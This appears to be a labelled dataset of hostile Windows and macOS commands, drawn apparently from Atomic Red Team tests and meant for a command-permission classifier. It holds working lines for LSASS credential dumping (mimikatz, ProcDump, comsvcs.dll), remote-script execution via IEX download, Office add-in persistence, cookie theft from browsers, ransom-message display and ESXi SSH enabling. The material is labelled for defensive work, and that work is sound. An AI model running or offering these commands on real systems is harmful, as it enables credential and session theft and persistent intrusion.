cowWhySo/permission-command-corpus huggingface dataset:
Command: Copy "PathToAtomicsFolder\T1137.006\bin\Addins\ExcelVBAaddin.xlam" "$env:APPDATA\Microsoft\Excel\XLSTART\notepad.xlam" Start-Process "Excel"
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1137.006
Platform: windows
ATT&CK tags: T1137.006
Source rule: Persistent Code Execution Via Excel VBA Add-in File (XLAM)
Notes: Creates an Excel VBA Add-in file (XLAM) which runs automatically when Excel is started
The sample XLAM provided launches the notepad as a proof-of-concept for persistent execution from Office.
Command: Stop-Process -Name "notepad","Excel" -ErrorAction Ignore Start-Sleep 3 Remove-Item "$env:APPDATA\Microsoft\Excel\XLSTART\notepad.xlam" -ErrorAction Ignore
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1137.006
Platform: windows
ATT&CK tags: T1137.006
Source rule: Persistent Code Execution Via Excel VBA Add-in File (XLAM)
Notes: Creates an Excel VBA Add-in file (XLAM) which runs automatically when Excel is started
The sample XLAM provided launches the notepad as a proof-of-concept for persistent execution from Office.
Command: Copy "PathToAtomicsFolder\T1137.006\bin\Addins\PptVBAaddin.ppam" "$env:APPDATA\Microsoft\Addins\notepad.ppam" $ver = (New-Object -COMObject "PowerPoint.Application").version $ExcelRegPath="HKCU:\Software\Microsoft\Office\$Ver\PowerPoint\AddIns\notepad" New-Item -type Directory $ExcelRegPath -Force | Out-Null New-ItemProperty $ExcelRegPath "Autoload" -value "1" -propertyType DWORD | Out-Null New-ItemProperty $ExcelRegPath "Path" -value "notepad.ppam" -propertyType string | Out-Null Stop-Process -Name "PowerPnt" -ErrorAction Ignore Start-Process "PowerPnt"
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1137.006
Platform: windows
ATT&CK tags: T1137.006
Source rule: Persistent Code Execution Via PowerPoint VBA Add-in File (PPAM)
Notes: Creates a PowerPoint VBA Add-in file (PPAM) which runs automatically when PowerPoint is started
The sample PPA provided launches the notepad as a proof-of-concept for persistent execution from Office.
Command: $ver = (New-Object -COMObject "PowerPoint.Application").version Remove-Item "HKCU:\Software\Microsoft\Office\$Ver\PowerPoint\AddIns\notepad" -ErrorAction Ignore Stop-Process -Name "notepad","PowerPnt" -ErrorAction Ignore Start-Sleep 3 Remove-Item "$env:APPDATA\Microsoft\AddIns\notepad.ppam" -ErrorAction Ignore
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1137.006
Platform: windows
ATT&CK tags: T1137.006
Source rule: Persistent Code Execution Via PowerPoint VBA Add-in File (PPAM)
Notes: Creates a PowerPoint VBA Add-in file (PPAM) which runs automatically when PowerPoint is started
The sample PPA provided launches the notepad as a proof-of-concept for persistent execution from Office.
Command: "#{procdump_exe}" -accepteula -ma lsass.exe #{output_file}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1003.001
Platform: windows
ATT&CK tags: T1003.001
Source rule: Dump LSASS.exe Memory using ProcDump
Notes: The memory of lsass.exe is often dumped for offline credential theft attacks. This can be achieved with Sysinternals
ProcDump.

Upon successful execution, you should see the following file created c:\windows\temp\lsass_dump.dmp.

If you see a message saying "procdump.exe is not recognized as an internal or external command", try using the  get-prereq_commands to download and install the ProcDump tool first.
Command: del "#{output_file}" >nul 2> nul
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1003.001
Platform: windows
ATT&CK tags: T1003.001
Source rule: Dump LSASS.exe Memory using ProcDump
Notes: The memory of lsass.exe is often dumped for offline credential theft attacks. This can be achieved with Sysinternals
ProcDump.

Upon successful execution, you should see the following file created c:\windows\temp\lsass_dump.dmp.

If you see a message saying "procdump.exe is not recognized as an internal or external command", try using the  get-prereq_commands to download and install the ProcDump tool first.
Command: C:\Windows\System32\rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump (Get-Process lsass).id $env:TEMP\lsass-comsvcs.dmp full
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1003.001
Platform: windows
ATT&CK tags: T1003.001
Source rule: Dump LSASS.exe Memory using comsvcs.dll
Notes: The memory of lsass.exe is often dumped for offline credential theft attacks. This can be achieved with a built-in dll.

Upon successful execution, you should see the following file created $env:TEMP\lsass-comsvcs.dmp.
Command: Remove-Item $env:TEMP\lsass-comsvcs.dmp -ErrorAction Ignore
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1003.001
Platform: windows
ATT&CK tags: T1003.001
Source rule: Dump LSASS.exe Memory using comsvcs.dll
Notes: The memory of lsass.exe is often dumped for offline credential theft attacks. This can be achieved with a built-in dll.

Upon successful execution, you should see the following file created $env:TEMP\lsass-comsvcs.dmp.
Command: del C:\windows\temp\dumpert.dmp >nul 2> nul
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1003.001
Platform: windows
ATT&CK tags: T1003.001
Source rule: Dump LSASS.exe Memory using direct system calls and API unhooking
Notes: The memory of lsass.exe is often dumped for offline credential theft attacks. This can be achieved using direct system calls and API unhooking in an effort to avoid detection. 
https://github.com/outflanknl/Dumpert
https://outflank.nl/blog/2019/06/19/red-team-tactics-combining-direct-system-calls-and-srdi-to-bypass-av-edr/
Upon successful execution, you should see the following file created C:\\windows\\temp\\dumpert.dmp.

If you see a message saying \"The system cannot find the path specified.\
Command: PathToAtomicsFolder\..\ExternalPayloads\nanodump.x64.exe -w "%temp%\nanodump.dmp"
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1003.001
Platform: windows
ATT&CK tags: T1003.001
Source rule: Dump LSASS.exe Memory using NanoDump
Notes: The NanoDump tool uses syscalls and an invalid dump signature to avoid detection.

https://github.com/helpsystems/nanodump

Upon successful execution, you should find the nanondump.dmp file in the temp directory
Command: del "%temp%\nanodump.dmp" >nul 2> nul
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1003.001
Platform: windows
ATT&CK tags: T1003.001
Source rule: Dump LSASS.exe Memory using NanoDump
Notes: The NanoDump tool uses syscalls and an invalid dump signature to avoid detection.

https://github.com/helpsystems/nanodump

Upon successful execution, you should find the nanondump.dmp file in the temp directory
Command: "#{mimikatz_exe}" "sekurlsa::minidump #{input_file}" "sekurlsa::logonpasswords full" exit
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1003.001
Platform: windows
ATT&CK tags: T1003.001
Source rule: Offline Credential Theft With Mimikatz
Notes: The memory of lsass.exe is often dumped for offline credential theft attacks. Adversaries commonly perform this offline analysis with
Mimikatz. This tool is available at https://github.com/gentilkiwi/mimikatz and can be obtained using the get-prereq_commands.
Command: "#{venv_path}\Scripts\pypykatz" live lsa
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1003.001
Platform: windows
ATT&CK tags: T1003.001
Source rule: LSASS read with pypykatz
Notes: Parses secrets hidden in the LSASS process with python. Similar to mimikatz's sekurlsa::

Python 3 must be installed, use the get_prereq_command's to meet the prerequisites for this test.

Successful execution of this test will display multiple usernames and passwords/hashes to the screen.

Will create a Python virtual environment within the External Payloads folder that can be deleted manually post test execution.
Command: del "%temp%\nanodump.dmp" > nul 2> nul
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1003.001
Platform: windows
ATT&CK tags: T1003.001
Source rule: LSASS read with pypykatz
Notes: Parses secrets hidden in the LSASS process with python. Similar to mimikatz's sekurlsa::

Python 3 must be installed, use the get_prereq_command's to meet the prerequisites for this test.

Successful execution of this test will display multiple usernames and passwords/hashes to the screen.

Will create a Python virtual environment within the External Payloads folder that can be deleted manually post test execution.
Command: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null try{ IEX (IWR 'https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1003.001/src/Out-Minidump.ps1') -ErrorAction Stop} catch{ $_; exit $_.Exception.Response.StatusCode.Value__} get-process lsass | Out-Minidump
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1003.001
Platform: windows
ATT&CK tags: T1003.001
Source rule: Dump LSASS.exe Memory using Out-Minidump.ps1
Notes: The memory of lsass.exe is often dumped for offline credential theft attacks. This test leverages a pure
powershell implementation that leverages the MiniDumpWriteDump Win32 API call.
Upon successful execution, you should see the following file created $env:TEMP\lsass_*.dmp.

Author of Out-Minidump: Matthew Graeber (@mattifestation)
Command: Remove-Item $env:TEMP\lsass_*.dmp -ErrorAction Ignore
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1003.001
Platform: windows
ATT&CK tags: T1003.001
Source rule: Dump LSASS.exe Memory using Out-Minidump.ps1
Notes: The memory of lsass.exe is often dumped for offline credential theft attacks. This test leverages a pure
powershell implementation that leverages the MiniDumpWriteDump Win32 API call.
Upon successful execution, you should see the following file created $env:TEMP\lsass_*.dmp.

Author of Out-Minidump: Matthew Graeber (@mattifestation)
Command: "#{procdump_exe}" -accepteula -mm lsass.exe #{output_file}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1003.001
Platform: windows
ATT&CK tags: T1003.001
Source rule: Create Mini Dump of LSASS.exe using ProcDump
Notes: The memory of lsass.exe is often dumped for offline credential theft attacks. This can be achieved with Sysinternals
ProcDump. This particular method uses -mm to produce a mini dump of lsass.exe

Upon successful execution, you should see the following file created c:\windows\temp\lsass_dump.dmp.

If you see a message saying "procdump.exe is not recognized as an internal or external command", try using the  get-prereq_commands to download and install the ProcDump tool first.
Command: IEX (New-Object Net.WebClient).DownloadString('#{remote_script}'); Invoke-Mimikatz -DumpCreds
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1003.001
Platform: windows
ATT&CK tags: T1003.001
Source rule: Powershell Mimikatz
Notes: Dumps credentials from memory via Powershell by invoking a remote mimikatz script.
If Mimikatz runs successfully you will see several usernames and hashes output to the screen.
Common failures include seeing an \"access denied\" error which results when Anti-Virus blocks execution. 
Or, if you try to run the test without the required administrative privileges you will see this error near the bottom of the output to the screen "ERROR kuhl_m_sekurlsa_acquireLSA"
Command: $exePath = resolve-path "$env:ProgramFiles\dotnet\shared\Microsoft.NETCore.App\5*\createdump.exe" & "$exePath" -u -f $env:Temp\dotnet-lsass.dmp (Get-Process lsass).id
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1003.001
Platform: windows
ATT&CK tags: T1003.001
Source rule: Dump LSASS with createdump.exe from .Net v5
Notes: Use createdump executable from .NET to create an LSASS dump.

[Reference](https://twitter.com/bopin2020/status/1366400799199272960?s=20)
Command: Remove-Item $env:Temp\dotnet-lsass.dmp -ErrorAction Ignore
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1003.001
Platform: windows
ATT&CK tags: T1003.001
Source rule: Dump LSASS with createdump.exe from .Net v5
Notes: Use createdump executable from .NET to create an LSASS dump.

[Reference](https://twitter.com/bopin2020/status/1366400799199272960?s=20)
Command: #{xordump_exe} -out #{output_file} -x 0x41
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1003.001
Platform: windows
ATT&CK tags: T1003.001
Source rule: Dump LSASS.exe using imported Microsoft DLLs
Notes: The memory of lsass.exe is often dumped for offline credential theft attacks. This can be achieved by
importing built-in DLLs and calling exported functions. Xordump will re-read the resulting minidump 
file and delete it immediately to avoid brittle EDR detections that signature lsass minidump files.

Upon successful execution, you should see the following file created $env:TEMP\lsass-xordump.t1003.001.dmp.
Command: Remove-Item #{output_file} -ErrorAction Ignore
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1003.001
Platform: windows
ATT&CK tags: T1003.001
Source rule: Dump LSASS.exe using imported Microsoft DLLs
Notes: The memory of lsass.exe is often dumped for offline credential theft attacks. This can be achieved by
importing built-in DLLs and calling exported functions. Xordump will re-read the resulting minidump 
file and delete it immediately to avoid brittle EDR detections that signature lsass minidump files.

Upon successful execution, you should see the following file created $env:TEMP\lsass-xordump.t1003.001.dmp.
Command: Remove-Item $env:TEMP\t1003.001-13-rdrleakdiag -Recurse -Force -ErrorAction Ignore
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1003.001
Platform: windows
ATT&CK tags: T1003.001
Source rule: Dump LSASS.exe using lolbin rdrleakdiag.exe
Notes: The memory of lsass.exe is often dumped for offline credential theft attacks. 
This can be achieved with lolbin rdrleakdiag.exe. 

Upon successful execution, you should see the following files created, $env:TEMP\minidump_<PID>.dmp and  $env:TEMP\results_<PID>.hlk.
Command: PathToAtomicsFolder\..\ExternalPayloads\nanodump.x64.exe --silent-process-exit "#{output_folder}"
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1003.001
Platform: windows
ATT&CK tags: T1003.001
Source rule: Dump LSASS.exe Memory through Silent Process Exit
Notes: WerFault.exe (Windows Error Reporting process that handles process crashes) can be abused to create a 
memory dump of lsass.exe, in a directory of your choice. This method relies on a mechanism 
introduced in Windows 7 called Silent Process Exit, which provides the ability to trigger
specific actions for a monitored process in one of two scenarios; either the process terminates
itself by calling ExitProcess(), or another process terminates it via the TerminateProcess() API. 
The major advantage
Command: rmdir "#{output_folder}" /s /q >nul 2> nul
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1003.001
Platform: windows
ATT&CK tags: T1003.001
Source rule: Dump LSASS.exe Memory through Silent Process Exit
Notes: WerFault.exe (Windows Error Reporting process that handles process crashes) can be abused to create a 
memory dump of lsass.exe, in a directory of your choice. This method relies on a mechanism 
introduced in Windows 7 called Silent Process Exit, which provides the ability to trigger
specific actions for a monitored process in one of two scenarios; either the process terminates
itself by calling ExitProcess(), or another process terminates it via the TerminateProcess() API. 
The major advantage
Command: Set-ItemProperty HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System -Name LegalNoticeCaption -Value $orgLegalNoticeCaption -Type String -Force Set-ItemProperty HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System -Name LegalNoticeText -Value $orgLegalNoticeText -Type String -Force
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1491.001
Platform: windows
ATT&CK tags: T1491.001
Source rule: Configure LegalNoticeCaption and LegalNoticeText registry keys to display ransom message
Notes: Display ransom message to users at system start-up by configuring registry keys HKLM\SOFTWARE\Micosoft\Windows\CurrentVersion\Policies\System\LegalNoticeCaption and HKLM\SOFTWARE\Micosoft\Windows\CurrentVersion\Policies\System\LegalNoticeText.

[SynAck Ransomware](https://www.trendmicro.com/vinfo/es/security/news/cybercrime-and-digital-threats/synack-ransomware-leverages-process-doppelg-nging-for-evasion-and-infection), 
[Grief Ransomware](https://redcanary.com/blog/grief-ransomware/), 
[Maze Ra
Command: echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "esxcli system welcomemsg set -m 'RANSOMWARE-NOTIFICATION'"
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1491.001
Platform: windows
ATT&CK tags: T1491.001
Source rule: ESXi - Change Welcome Message on Direct Console User Interface (DCUI)
Notes: Changes the ESXi welcome message to potentially display ransom information.
[Reference](https://lolesxi-project.github.io/LOLESXi/lolesxi/Binaries/esxcli/#change%20display%20information)
Command: $notePath = Join-Path $env:TEMP "#{note_filename}" $pidPath = Join-Path $env:TEMP "#{pid_filename}" $Title = "#{note_title}" $Body = "#{note_body}" $header = $Title + "`r`n" + ('=' * $Title.Length) + "`r`n`r`n" $content = $header + $Body [System.IO.File]::WriteAllText($notePath, $content, [System.Text.Encoding]::UTF8) $p = Start-Process notepad.exe -ArgumentList "`"$notePath`"" -PassThru $p.Id | Out-File -FilePath $pidPath -Encoding ascii -Force
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1491.001
Platform: windows
ATT&CK tags: T1491.001
Source rule: Windows - Display a simulated ransom note via Notepad (non-destructive)
Notes: Creates a temporary ransom-note text file and opens it in Notepad to
simulate ransomware "note display" behavior without making destructive
changes. SAFE and non-destructive.
Command: stop-process -name "firefox" -force -erroraction silentlycontinue $CookieDBLocation = get-childitem -path "$env:appdata\Mozilla\Firefox\Profiles\*\cookies.sqlite" "select host, name, value, path, expiry, isSecure, isHttpOnly, sameSite from [moz_cookies];" | cmd /c #{sqlite3_path} "$CookieDBLocation" | out-file -filepath "#{output_file}"
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1539
Platform: windows
ATT&CK tags: T1539
Source rule: Steal Firefox Cookies (Windows)
Notes: This test queries Firefox's cookies.sqlite database to steal the cookie data contained within it, similar to Zloader/Zbot's cookie theft function. 
Note: If Firefox is running, the process will be killed to ensure that the DB file isn't locked. 
See https://www.malwarebytes.com/resources/files/2020/05/the-silent-night-zloader-zbot_final.pdf.
Command: remove-item #{output_file} -erroraction silentlycontinue
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1539
Platform: windows
ATT&CK tags: T1539
Source rule: Steal Firefox Cookies (Windows)
Notes: This test queries Firefox's cookies.sqlite database to steal the cookie data contained within it, similar to Zloader/Zbot's cookie theft function. 
Note: If Firefox is running, the process will be killed to ensure that the DB file isn't locked. 
See https://www.malwarebytes.com/resources/files/2020/05/the-silent-night-zloader-zbot_final.pdf.
Command: stop-process -name "chrome" -force -erroraction silentlycontinue "select host_key, name, encrypted_value, path, expires_utc, is_secure, is_httponly from [Cookies];" | cmd /c #{sqlite3_path} "#{cookie_db}" | out-file -filepath "#{output_file}"
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1539
Platform: windows
ATT&CK tags: T1539
Source rule: Steal Chrome Cookies (Windows)
Notes: This test queries Chrome's SQLite database to steal the encrypted cookie data, designed to function similarly to Zloader/Zbot's cookie theft function. 
Once an adversary obtains the encrypted cookie info, they could go on to decrypt the encrypted value, potentially allowing for session theft. 
Note: If Chrome is running, the process will be killed to ensure that the DB file isn't locked. 
See https://www.malwarebytes.com/resources/files/2020/05/the-silent-night-zloader-zbot_final.pdf.
Command: remove-item #{output_file}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1539
Platform: windows
ATT&CK tags: T1539
Source rule: Steal Chrome Cookies (Windows)
Notes: This test queries Chrome's SQLite database to steal the encrypted cookie data, designed to function similarly to Zloader/Zbot's cookie theft function. 
Once an adversary obtains the encrypted cookie info, they could go on to decrypt the encrypted value, potentially allowing for session theft. 
Note: If Chrome is running, the process will be killed to ensure that the DB file isn't locked. 
See https://www.malwarebytes.com/resources/files/2020/05/the-silent-night-zloader-zbot_final.pdf.
Command: killall 'Google Chrome' sleep 1 open -a "/Applications/Google Chrome.app/Contents/MacOS/Google Chrome" --args --remote-debugging-port=1337 --remote-allow-origins=http://localhost/ sleep 1 /tmp/WhiteChocolateMacademiaNut/chocolate -d cookies -p 1337
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1539
Platform: macos
ATT&CK tags: T1539
Source rule: Steal Chrome Cookies via Remote Debugging (Mac)
Notes: The remote debugging functionality in Chrome can be used by malware for post-exploitation activities to obtain cookies without requiring keychain access. By initiating Chrome with a remote debug port, an attacker can sidestep encryption and employ Chrome's own mechanisms to access cookies.

If successful, this test will output a list of cookies.

Note: Chrome processes will be killed during this test.

See https://posts.specterops.io/hands-in-the-cookie-jar-dumping-cookies-with-chromiums-remote-
Command: rm -rf /tmp/WhiteChocolateMacademiaNut
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1539
Platform: macos
ATT&CK tags: T1539
Source rule: Steal Chrome Cookies via Remote Debugging (Mac)
Notes: The remote debugging functionality in Chrome can be used by malware for post-exploitation activities to obtain cookies without requiring keychain access. By initiating Chrome with a remote debug port, an attacker can sidestep encryption and employ Chrome's own mechanisms to access cookies.

If successful, this test will output a list of cookies.

Note: Chrome processes will be killed during this test.

See https://posts.specterops.io/hands-in-the-cookie-jar-dumping-cookies-with-chromiums-remote-
Command: osascript -e 'tell application "Finder"' -e 'set destinationFolderPath to POSIX file "#{destination_path}"' -e 'set safariFolder to ((path to library folder from user domain as text) & "Containers:com.apple.Safari:Data:Library:Cookies:")' -e 'duplicate file "Cookies.binarycookies" of folder safariFolder to folder destinationFolderPath with replacing' -e 'end tell'
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1539
Platform: macos
ATT&CK tags: T1539
Source rule: Copy Safari BinaryCookies files using AppleScript
Notes: This command will copy Safari BinaryCookies files using AppleScript as seen in Atomic Stealer.
Command: rm "#{destination_path}/Cookies.binarycookies"
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1539
Platform: macos
ATT&CK tags: T1539
Source rule: Copy Safari BinaryCookies files using AppleScript
Notes: This command will copy Safari BinaryCookies files using AppleScript as seen in Atomic Stealer.
Command: Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass} Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1021.004
Platform: windows
ATT&CK tags: T1021.004
Source rule: ESXi - Enable SSH via PowerCLI
Notes: An adversary enables the SSH service on a ESXi host to maintain persistent access to the host and to carryout subsequent operations.